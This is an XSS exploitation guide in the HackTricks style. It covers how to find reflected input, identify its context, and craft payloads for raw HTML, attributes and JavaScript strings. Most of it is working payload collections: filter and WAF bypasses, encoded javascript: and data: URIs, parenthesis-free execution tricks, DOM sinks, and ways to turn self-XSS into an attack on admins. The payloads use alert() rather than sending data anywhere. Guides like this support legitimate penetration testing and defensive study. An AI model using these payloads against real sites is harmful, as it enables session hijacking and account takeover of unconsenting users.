> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt
> Use this file to discover all available pages before exploring further.

# XSS (Cross-Site Scripting)

> Complete guide to identifying and exploiting Cross-Site Scripting vulnerabilities across reflected, stored, DOM-based, and universal XSS types.

Cross-Site Scripting (XSS) allows attackers to inject and execute arbitrary JavaScript in a victim's browser. Understanding the context where your input is reflected is key to crafting effective payloads.

## Methodology

<Steps>
  <Step title="Find Reflected Values">
    Check if any value you control (parameters, path, headers, cookies) is being reflected in the HTML or used by JS code.
  </Step>

  <Step title="Identify the Context">
    Determine where the input is reflected: raw HTML, inside an HTML tag attribute, inside JavaScript code, or inside a JavaScript function call.
  </Step>

  <Step title="Craft the Payload">
    Depending on the context, prepare a payload that breaks out and executes JS. Test which symbols are available.
  </Step>

  <Step title="Test for DOM XSS">
    Check if your controlled input is used by any JavaScript sink like `location.href`, `document.write`, or `innerHTML`.
  </Step>
</Steps>

## Types of XSS

<CardGroup cols={3}>
  <Card title="Reflected XSS" icon="arrow-right-arrow-left">
    The payload is immediately reflected in the HTTP response. The server echoes user input directly into the page.
  </Card>

  <Card title="Stored XSS" icon="database">
    The payload is stored server-side and reflected to all users who view the page.
  </Card>

  <Card title="DOM XSS" icon="code">
    The vulnerability exists in client-side code that processes attacker-controlled data (e.g., `location.hash`).
  </Card>
</CardGroup>

## Injecting Inside Raw HTML

When your input is reflected in the raw HTML page, use HTML tags to execute JS:

```html theme={null}
<script>alert(1)</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```

If tags are blacklisted, brute-force which tags are allowed. Use PortSwigger's XSS cheat sheet to copy all tags and test via Burp Intruder.

### Blacklist Bypasses

```javascript theme={null}
// Random capitalization
<ScrIpT>alert(1)</ScrIpT>
<ImG src=x onerror=alert(1)>

// Double tags (in case first match is removed)
<scr<script>ipt>alert(1)</scr</script>ipt>

// Space substitutions
<svg/onload=alert(1)>
<svg%09onload=alert(1)>

// Backtick instead of parenthesis
onerror=alert`1`
```

## Injecting Inside HTML Tag Attributes

If your input is reflected inside an attribute value:

```bash theme={null}
# Escape the attribute and tag
"><img src=x onerror=alert(1)>

# Create events if you can't escape the tag
" autofocus onfocus=alert(document.domain) x="

# Use javascript: protocol in href
href="javascript:alert(1)"
```

### Bypass Inside Event Using Encoding

```javascript theme={null}
// HTML entities inside attribute values are decoded at runtime
<a onclick="var x='&apos;-alert(1)-&apos;'">click</a>

// Any HTML encode form is valid
&apos;-alert(1)-&apos;
&#x27-alert(1)-&#x27
&#39-alert(1)-&#39
```

### Special Protocols

```javascript theme={null}
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29   // URL encoded
java        // Note newline
script:alert(1)

data:text/html,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
```

## Injecting Inside JavaScript Code

When your input lands inside `<script>` tags or a `.js` file:

```javascript theme={null}
// Escape the script tag
</script><img src=1 onerror=alert(document.domain)>

// Escape a JS string
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```

### Template Literals

```javascript theme={null}
// If input is inside backtick string, use ${ }
var greeting = `Hello, ${alert(1)}`

// Template literal injection
;`${alert(1)}`
```

### JS-in-JS String Break Pattern

```
"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume string
```

## JavaScript Without Parentheses

```javascript theme={null}
// Backticks
alert`1`

// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29"

// valueOf / toString
valueOf=alert;window+''

// Has instance symbol
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
```

## Blacklist Bypass Techniques

<Tabs>
  <Tab title="String Alternatives">
    ```javascript theme={null}
    "string"              // double quotes
    'string'              // single quotes
    `string`              // backticks
    String.fromCharCode(116,104,105,115)
    atob("dGhpcw==")      // base64
    "\x74\x68\x69\x73"   // hex
    "\164\150\151\163"   // octal
    "\u0074\u0068\u0069\u0073" // unicode
    ```
  </Tab>

  <Tab title="Arbitrary Function Calls">
    ```javascript theme={null}
    eval('ale'+'rt(1)')
    setTimeout('ale'+'rt(2)');
    Function('ale'+'rt(10)')``;  
    [].constructor.constructor("alert(document.domain)")()
    import('data:text/javascript,alert(1)')
    window['al'+'ert'](0)
    top[8680439..toString(30)](1)
    ```
  </Tab>

  <Tab title="Space Substitutions">
    ```javascript theme={null}
    <TAB>     // tab character
    /**/      // comment block
    ```
  </Tab>
</Tabs>

## DOM XSS Sinks

Common dangerous sinks that lead to DOM XSS:

```javascript theme={null}
document.write()
document.writeln()
innerHTML =
outerHTML =
insertAdjacentHTML()
location.href =
location =
eval()
setTimeout("...", ...)
setInterval("...", ...)
```

## WAF Bypass with Encoding

<Warning>
  Combining `URLencode + HTMLencode` in any order to encode the **full payload** won't work, but you can mix them **inside** the payload.
</Warning>

```html theme={null}
<!-- Unicode bypass -->
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />

<!-- PHP FILTER_VALIDATE_EMAIL bypass -->
"><svg/onload=confirm(1)>"@x.y

<!-- Special combinations -->
<iframe/src="data:text/html,<svg onload=alert(1)>">
<svg id=x;onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
```

## XSS in Hidden Inputs & Meta Tags

```html theme={null}
<!-- Popover API trick -->
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

<!-- Meta tag injection -->
<meta name="apple-mobile-web-app-title" content="" Twitter popover id="newsletter" onbeforetoggle="alert(2)" />

<!-- Hidden input with accesskey -->
<input type="hidden" accesskey="X" onclick="alert(1)">
<!-- Payload: " accesskey="x" onclick="alert(1)" x=" -->
```

## Upgrading Self-XSS

* **Cookie XSS**: If you can set cookies on a subdomain, use cookie tossing to trigger XSS on the main domain.
* **Sending to Admin**: If a user can share a profile with an admin, store the XSS in the profile.
* **Session Mirroring**: Exploit session mirroring features to make an admin trigger your self-XSS.

## Universal XSS

Universal XSS can be found **anywhere** — they don't depend solely on a single web application. Examples include:

* Server-Side XSS in dynamic PDFs
* XSS in Electron desktop apps (can lead to RCE)
* XSS through WASM linear-memory template overwrite

## Tools

* [XSS Hunter](https://xsshunter.com/) — Blind XSS detection
* [Burp Suite](https://portswigger.net/burp) — Intercept and test
* [DOMPurify](https://github.com/cure53/DOMPurify) — Sanitization library (for defensive use)
